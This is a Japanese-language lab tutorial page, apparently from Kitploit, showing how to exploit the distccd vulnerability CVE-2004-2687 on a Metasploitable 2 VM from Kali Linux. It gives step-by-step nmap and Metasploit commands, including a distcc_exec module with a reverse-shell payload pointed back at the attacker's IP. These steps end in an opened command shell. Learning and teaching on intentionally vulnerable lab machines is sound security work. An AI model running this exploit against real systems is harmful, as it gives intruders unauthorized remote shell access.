Metasploitable-2-Distcc-Exploit-via-Kali-Linux-CVE-2004-2687 — このビデオでは、Metasploitable 2 システム上の distccd サービスの脆弱性を利用し、Kali Linux 経由でリモートシェルを取得する方法を紹介しています。 | Kitploit

🎬 このYouTubeビデオ

1️⃣ ターゲットの特定 (Nmap)

nmap -sV -p 3632 192.168.56.102

✅ 結果は次のようになります: 3632/tcp open distccd v1

👉 つまり、distccが開いており、エクスプロイト可能です。

2️⃣ Metasploitを起動

msfconsole

3️⃣ Distccエクスプロイトを選択

use exploit/unix/misc/distcc_exec

4️⃣ 設定を確認

show options

必要なパラメータ:

オプション値 RHOSTS MetasploitableのIP RPORT 3632 PAYLOAD cmd/unix/reverse

5️⃣ ターゲットIPを設定

set RHOSTS 192.168.56.102

6️⃣ ペイロードを設定

set PAYLOAD cmd/unix/reverse
set LHOST 192.168.56.101

LHOST — Kali LinuxのIPアドレス

7️⃣ エクスプロイトを実行

run

🎉 結果

成功した場合:

[*] Command shell session opened

シェルを確認:

whoami
uname -a
id

ツールをダウンロード

Metasploitable-2-Distcc-Exploit-via-Kali-Linux-CVE-2004-2687

人気